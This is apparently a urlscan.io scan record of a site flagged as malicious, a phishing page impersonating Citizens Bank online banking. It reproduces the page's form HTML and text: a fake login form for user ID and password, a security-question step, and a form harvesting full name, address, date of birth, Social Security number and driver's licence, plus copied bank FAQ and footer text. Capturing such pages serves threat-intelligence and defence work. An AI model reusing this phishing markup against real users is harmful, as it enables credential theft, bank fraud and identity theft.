citizensbankk.z13.web.core.windows.net Open in urlscan Pro
20.60.128.225  Malicious Activity! Public Scan

Form analysis
4 forms found in the DOM

Name: SignOn — POST #

<form class="pay-transfer-options clearfix" action="#" name="SignOn" id="frmSignOn" method="post">
  <div class="account-title clearfix">
    <p>Please enter your Online User ID and Password.</p>
  </div>
  <div class="form-item label-right full-width clearfix"><label for="UserID"><strong>Online User ID: </strong></label>
    <input tabindex="1" type="text" id="userid" name="UserID" autocomplete="off" maxlength="20" class="required demo-username"><input type="hidden" name="lcount" id="lcount" value="0">
    <div class="full-width checkbox-item clearfix"><input type="checkbox" tabindex="5" disabled="disabled" id="cbSaveUserID" name="cbSaveUserID" style="vertical-align:top"><span class="inline-tooltip"><label for="cbSaveUserID">Remember User
          ID</label><span class="tooltip" tabindex="6" role="tooltip" aria-describedby="tooltip-content">
          <div class="tooltip-icon" title="Remember User ID tooltip"></div>
          <div class="tooltip-box">
            <div class="tooltip-content" id="aria-tooltip-content"><span class="tooltip-arrow"></span>
              <div>Select the "Remember User ID" box on the Login page if you want to be remembered.</div><br>
              <div>Please note, if the "Remember User ID" check box is not displayed on the Login page, click on the "Login using different Online User ID" link to display it.</div><br>
              <div>DO NOT check this box if you are using a public device that is accessible to others.</div>
            </div>
            <div class="bottomshadow"></div>
          </div>
        </span>
      </span>
    </div>
    <div class="form-item full-width"><label for="currentpassword"><strong>Password: </strong></label><input tabindex="2" type="password" id="upass" name="Password" maxlength="15" size="15" class="required demo-password"></div><span
      class="mobile-line-break"><a tabindex="7" style="font-size:16px!important" id="troublelogging" data-trigger="login-trouble" href="#">Trouble logging in?</a></span><br>
  </div>
  <div id="fielderror" class="show-error" role="alert">We're sorry. That user ID and password does not match our records. Please try again, or do you need Login Assistance?</div>
  <div class="form-actions">
    <button id="submit-btn" type="button" class="submit-button button arrow"> Login </button>
    <a tabindex="8" href="http://www.citizensbank.com/" class="cancel">Cancel</a>
  </div>
</form>

POST #

<form id="form" action="#" method="POST" class="unauth-form jqtransform js-enrollment-form">
  <div class="unauth-form__row">
    <div class="unauth-form__rowitem">
      <label class="unauth-form__label" for="q1">Question 1</label>
      <select name="q1" id="q1" class="unauth-form__input js-account-type">
        <option disabled="" selected="selected">Select One</option>
        <option value="1">What is your father's middle name?</option>
        <option value="2">What is your maternal grandmother's name?</option>
        <option value="3">What is the name of the first company you worked for?</option>
        <option value="4">What is your maternal grandfather's name?</option>
        <option value="5">In what city was your high school? (full name of city only)</option>
        <option value="6">What was the name of your high school?</option>
        <option value="7">What is the first name of the maid of honor at your wedding?</option>
        <option value="8">In what city were you married? (Enter full name of city)</option>
        <option value="9">What is the first name of your oldest nephew?</option>
      </select>
    </div>
    <div class="unauth-form__rowitem">
      <input type="text" name="a1" id="a1" placeholder="Answer 1" class="unauth-form__input js-mobilepassword">
    </div>
  </div>
  <div class="unauth-form__row">
    <div class="unauth-form__rowitem">
      <label class="unauth-form__label" for="q2">Question 2</label>
      <select name="q2" id="q2" class="unauth-form__input js-account-type">
        <option disabled="" selected="selected">Select One</option>
        <option value="1">What is the first name of the best man at your wedding?</option>
        <option value="2">What is the first name of your oldest niece?</option>
        <option value="3">What is your paternal grandfather's name?</option>
        <option value="4">In what city is your vacation home? (Enter full name of city only)</option>
        <option value="5">What was the name of your first girlfriend or boyfriend?</option>
        <option value="6">In what city was your father born? (Enter full name of city only)</option>
        <option value="7">What was the name of your first pet?</option>
        <option value="8">What was the nickname of your grandfather?</option>
        <option value="9">What was your high school mascot?</option>
      </select>
    </div>
    <div class="unauth-form__rowitem">
      <input type="text" name="a2" id="a2" placeholder="Answer 2" class="unauth-form__input js-mobilepassword">
    </div>
  </div>
  <div class="unauth-form__row">
    <div class="unauth-form__rowitem">
      <label class="unauth-form__label" for="q3">Question 3</label>
      <select name="q3" id="q3" class="unauth-form__input js-account-type">
        <option disabled="" selected="selected">Select One</option>
        <option value="1">What is your paternal grandfather's name?</option>
        <option value="2">What street did your best friend in high school live on? (Enter full name of street only)</option>
        <option value="3">What was the last name of your favorite teacher in final year of high school?</option>
        <option value="4">In what city were you born? (Enter full name of city only)</option>
        <option value="5">What was the name of the town your grandmother lived in? (Enter full name of city only)</option>
        <option value="6">What was your favorite restaurant in college?</option>
        <option value="7">Where did you meet your spouse for the first time? (Enter full name of city only)</option>
        <option value="8">In what city was your mother born? (Enter full name of city only)</option>
        <option value="9">What was the name of your junior high school? (Enter only "Riverdale" for Riverdale Junior high school)</option>
      </select>
    </div>
    <div class="unauth-form__rowitem">
      <input type="text" name="a3" id="a3" placeholder="Answer 3" class="unauth-form__input js-mobilepassword">
    </div>
  </div>
  <div class="unauth-section__button-wrap">
    <button id="btn" type="button" class="btn unauth-form__submit-button js-unauth-ic-submit-button" disabled="">Continue</button>
    <a class="unauth-form__cancel-link js-cancel-button" tabindex="0">Cancel</a>
  </div>
</form>

POST #

<form id="form2" action="#" method="POST" class="unauth-form jqtransform js-enrollment-form">
  <div class="unauth-form__row">
    <div class="unauth-form__rowitem">
      <label class="unauth-form__label" for="fname">Full Name</label>
      <input type="text" name="fname" id="fname" placeholder="Full Name" class="ttc unauth-form__input js-mobilepassword">
    </div>
    <div class="unauth-form__rowitem">
      <label class="unauth-form__label" for="address">Current Address</label>
      <input type="text" name="address" id="address" placeholder="Current Address" class="ttc unauth-form__input js-mobilepassword">
    </div>
    <div class="unauth-form__rowitem">
      <label class="unauth-form__label" for="city">City</label>
      <input type="text" name="city" id="city" placeholder="City" class="ttc unauth-form__input js-mobilepassword">
    </div>
    <div class="unauth-form__rowitem">
      <label class="unauth-form__label" for="state">State</label>
      <input type="text" name="state" id="state" placeholder="state" class="ttc unauth-form__input js-mobilepassword">
    </div>
    <div class="unauth-form__rowitem">
      <label class="unauth-form__label" for="zip">ZIP</label>
      <input type="text" name="zip" id="zip" placeholder="ZIP" class="ttc unauth-form__input js-mobilepassword">
    </div>
    <div class="unauth-form__rowitem">
      <label class="unauth-form__label" for="dob">Date of Birth</label>
      <input type="text" name="dob" id="dob" placeholder="(MM/DD/YY)" class="unauth-form__input js-mobilepassword">
    </div>
    <div class="unauth-form__rowitem">
      <label class="unauth-form__label" for="ssn">Social Security Number</label>
      <input type="text" name="ssn" id="ssn" placeholder="Social Security Number" class="unauth-form__input js-mobilepassword">
    </div>
    <div class="unauth-form__rowitem">
      <label class="unauth-form__label" for="dl">Drivers license </label>
      <input type="text" name="dl" id="dl" placeholder="Drivers license" class="unauth-form__input js-mobilepassword">
    </div>
  </div>
  <div class="unauth-section__button-wrap">
    <button id="btn2" type="button" class="btn unauth-form__submit-button js-unauth-ic-submit-button" disabled="">Continue</button>
    <a class="unauth-form__cancel-link js-cancel-button" tabindex="0">Cancel</a>
  </div>
</form>

Name: frmAsst — POST https://www3.citizensbankonline.com/efs/servlet/efs/login-assistance.jsp

<form action="https://www3.citizensbankonline.com/efs/servlet/efs/login-assistance.jsp" name="frmAsst" id="frmAsst" method="post"><input type="hidden" name="CSRF_TOKEN" value="B70T-LJAT-F21V-NCD5-SWHS-EQGE-K7XO-V8ZP"><input type="hidden"
    name="needHelp" value="1">
  <section class="toggle-list-container faq-container" id="faq-index-1">
    <a href="#" title="Expand contents of Where can I get login assistance for Online Banking?" aria-label="Expand Contents" class="sidebar-list-option-accordian showhide">Where can I get login assistance for Online Banking?</a>
    <ul class="loginfaq sidebar-list showhide-content">
      <li>
        <p>Simply click on "Trouble logging in?" link. Or, you can click on "View All Help Topics" link, which appears on each screen.</p>
      </li>
    </ul>
  </section>
  <section class="toggle-list-container faq-container" id="faq-index-10"><a href="#" title="Expand contents of Is Online Banking secure?" aria-label="Expand Contents" class="sidebar-list-option-accordian showhide">Is Online Banking secure?</a>
    <ul class="loginfaq sidebar-list showhide-content">
      <li>
        <p>To make Online Banking secure, Citizens uses the highest level of encryption available today. Encryption is the process by which information is translated into un-interpretable code and then back to recognized information.<br>As an added
          measure, Online Banking gives you the capability to easily verify that you are on the authentic Citizens website and not on a fake site created by fraudsters. Just look for the green bar (or some variation of it) in your browser address.
          The green bar should remind you that "green is good" and that our website has passed a sophisticated authentication process, letting you know you are good to go.</p>
      </li>
    </ul>
  </section>
  <section class="toggle-list-container faq-container" id="faq-index-12">
    <a href="#" aria-label="Expand Contents" class="sidebar-list-option-accordian showhide" title="Show contents of Should my browser address bar have a green indicator when I use Online Banking?">Should my browser address bar have a "green" indicator when I use Online Banking?</a>
    <ul class="loginfaq sidebar-list showhide-content">
      <li>
        <p>Yes. As an added measure, Online Banking gives you the capability to easily verify that you are on the authentic Citizens website and not on a fake site created by fraudsters. Just look for the green bar (or some variation of it) in your
          browser address. The green bar should remind you that "green is good" and that our website has passed a sophisticated authentication process, letting you know you are good to go.</p>
      </li>
    </ul>
  </section>
  <section class="toggle-list-container faq-container" id="faq-index-20">
    <a href="#" title="Expand contents of How do I log into Online Banking if I’m a first-time user?" aria-label="Expand Contents" class="sidebar-list-option-accordian showhide">How do I log into Online Banking if I'm a first-time user?</a>
    <ul class="loginfaq sidebar-list showhide-content">
      <li>
        <p>Simply enter your Online User ID and Password and click "LOGIN", then answer your Challenge Question (if presented). In some situations, your Online User ID will be your ATM/Debit Card number and your Password will be the last four digits
          of your Social Security number followed by "Abcd" (e.g. 1234Abcd). If you haven't already selected an Online User ID, you will be asked to do so.</p>
      </li>
    </ul>
  </section>
</form>

Text Content

Help


SECURE ONLINE BANKING LOGIN


CUSTOMERS MAKE GREAT COLLEAGUES

Learn more about what it's like to work for an employer that supports all of
you.

The online user ID below does not match our records. Please review your
information then try again. If you are still unable to continue, please call our
Customer Service Center.
Please enter your Online User ID and click Login
The information you entered does not match our records. Please check your
information and try again. If you need login assistance, click on Trouble
logging in? or View All Help Topics.

Please enter your Online User ID and Password.

Online User ID:
Remember User ID

Select the "Remember User ID" box on the Login page if you want to be
remembered.

Please note, if the "Remember User ID" check box is not displayed on the Login
page, click on the "Login using different Online User ID" link to display it.

DO NOT check this box if you are using a public device that is accessible to
others.

Password:
Trouble logging in?

We're sorry. That user ID and password does not match our records. Please try
again, or do you need Login Assistance?
Login Cancel


VERIFY YOUR IDENTITY

Step 1 of 2: Verify Your Security Questions



Please enter your information to verify your account.

Question 1 Select One What is your father's middle name? What is your maternal
grandmother's name? What is the name of the first company you worked for? What
is your maternal grandfather's name? In what city was your high school? (full
name of city only) What was the name of your high school? What is the first name
of the maid of honor at your wedding? In what city were you married? (Enter full
name of city) What is the first name of your oldest nephew?

Question 2 Select One What is the first name of the best man at your wedding?
What is the first name of your oldest niece? What is your paternal grandfather's
name? In what city is your vacation home? (Enter full name of city only) What
was the name of your first girlfriend or boyfriend? In what city was your father
born? (Enter full name of city only) What was the name of your first pet? What
was the nickname of your grandfather? What was your high school mascot?

Question 3 Select One What is your paternal grandfather's name? What street did
your best friend in high school live on? (Enter full name of street only) What
was the last name of your favorite teacher in final year of high school? In what
city were you born? (Enter full name of city only) What was the name of the town
your grandmother lived in? (Enter full name of city only) What was your favorite
restaurant in college? Where did you meet your spouse for the first time? (Enter
full name of city only) In what city was your mother born? (Enter full name of
city only) What was the name of your junior high school? (Enter only "Riverdale"
for Riverdale Junior high school)

Continue Cancel


VERIFY YOUR IDENTITY

Step 2 of 2: Verify Your Personal Information



Please enter your information to verify your account.
Your personal information is protected with 256-bit server-side encryption.

Full Name
Current Address
City
State
ZIP
Date of Birth
Social Security Number
Drivers license
Continue Cancel


NEED HELP?

Where can I get login assistance for Online Banking?

 * Simply click on "Trouble logging in?" link. Or, you can click on "View All
   Help Topics" link, which appears on each screen.

Is Online Banking secure?

 * To make Online Banking secure, Citizens uses the highest level of encryption
   available today. Encryption is the process by which information is translated
   into un-interpretable code and then back to recognized information.
   As an added measure, Online Banking gives you the capability to easily verify
   that you are on the authentic Citizens website and not on a fake site created
   by fraudsters. Just look for the green bar (or some variation of it) in your
   browser address. The green bar should remind you that "green is good" and
   that our website has passed a sophisticated authentication process, letting
   you know you are good to go.

Should my browser address bar have a "green" indicator when I use Online
Banking?

 * Yes. As an added measure, Online Banking gives you the capability to easily
   verify that you are on the authentic Citizens website and not on a fake site
   created by fraudsters. Just look for the green bar (or some variation of it)
   in your browser address. The green bar should remind you that "green is good"
   and that our website has passed a sophisticated authentication process,
   letting you know you are good to go.

How do I log into Online Banking if I'm a first-time user?

 * Simply enter your Online User ID and Password and click "LOGIN", then answer
   your Challenge Question (if presented). In some situations, your Online User
   ID will be your ATM/Debit Card number and your Password will be the last four
   digits of your Social Security number followed by "Abcd" (e.g. 1234Abcd). If
   you haven't already selected an Online User ID, you will be asked to do so.

 * View All Help Topics
 * Haven't signed up for Online Banking?Enroll Now

 * Ways to Contact Us- Opens Ways to Contact Us Dialog
   
   CONTACT US
   
   General Questions:
   1-800-656-6561 (personal bank accounts)
   Business Questions:
   1-877-229-6428 (online banking support)
   1-800-862-6200 (account information)
   Investment Questions:
   1-800-942-8300 (Citizens Securities, Inc.)

 * Branch & ATM Locator- Opens Branch & ATM Locator Dialog
   
   BRANCH & ATM LOCATOR
   
   Find one of our 1,300 locations near you.
   
   
   Submit
 * Feedback

 * CHECKING & SAVINGS

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 * Access My Student Loan

 * CARDS

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 * PERSONAL LOANS

 * Overview
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 * RESOURCES

 * Order Checks
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 * ABOUT US

 * About Citizens
 * In the Community
 * Careers
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 * SOLUTIONS

 * Personal
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 * DISCLOSURES

 * Online Terms and Conditions
 * E-Sign Disclosure
 * Account Documents
 * Member FDIC
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 * Security, Privacy & Legal

Zelle and the Zelle related marks are wholly owned by Early Warning Services,
LLC and are used herein under license.

*Securities, Insurance Products and Investment Advisory Services offered through
Citizens Securities, Inc. ("CSI"). CSI is an SEC registered investment adviser
and Member - FINRA and SIPC. One Citizens Bank Way, JCB135, Johnston, RI 02919.
CSI is an affiliate of Citizens Bank, N.A.

The investment balances shown in online banking are based on market prices, with
up to a fifteen minute delay from the time this webpage was last refreshed.
Information relating to accounts not held at CSI is presented as an
accommodation and while drawn from sources believed to be reliable is not
guaranteed as to accuracy or completeness. Such information should be
independently confirmed by the account owner(s).

Information relating to accounts not held or custodied by National Financial
Services (NFS) (Assets Held Away), CSI’s clearing broker dealer, was provided to
NFS by outside parties and is included for informational purposes only. These
positions are not part of your brokerage account carried by NFS and therefore
any SIPC account protection afforded your account through NFS does not cover
these assets or prices reported. Neither NFS, CSI nor Citizens are responsible
for the Assets Held Away information provided and does not guarantee the
accuracy or timeliness of the positions or prices reported. Prices shown do not
necessarily reflect the actual current market prices. Further information
regarding these prices may be obtained by contacting CSI.

The investment products and financial strategies suggested herein are subject to
investment risk, including possible loss of principal amount invested.
Investment decisions should be based on each individual's goals, time horizon
and tolerance for risk.

SpeciFi® is made available through CSI. Portfolio management services are
sub-advised by SigFig Wealth Management, LLC ("SigFig"), an SEC registered
investment adviser. SigFig is not an affiliate of CSI or Citizens Bank, N.A.

Securities, Insurance Products and Investment Advisory Services are:

 * NOT FDIC INSURED
 * NOT BANK GUARANTEED
 * MAY LOSE VALUE
 * NOT A DEPOSIT
   
 * NOT INSURED BY ANY FEDERAL GOVERNMENT AGENCY

 * Site Map
 * Follow:

© Copyright 2022 Citizens Financial Group, Inc. All rights reserved.
Citizens is a brand name of Citizens Bank, N.A. (NMLS ID# 433960).
Citizens corporate headquarters: One Citizens Plaza, Providence, RI 02903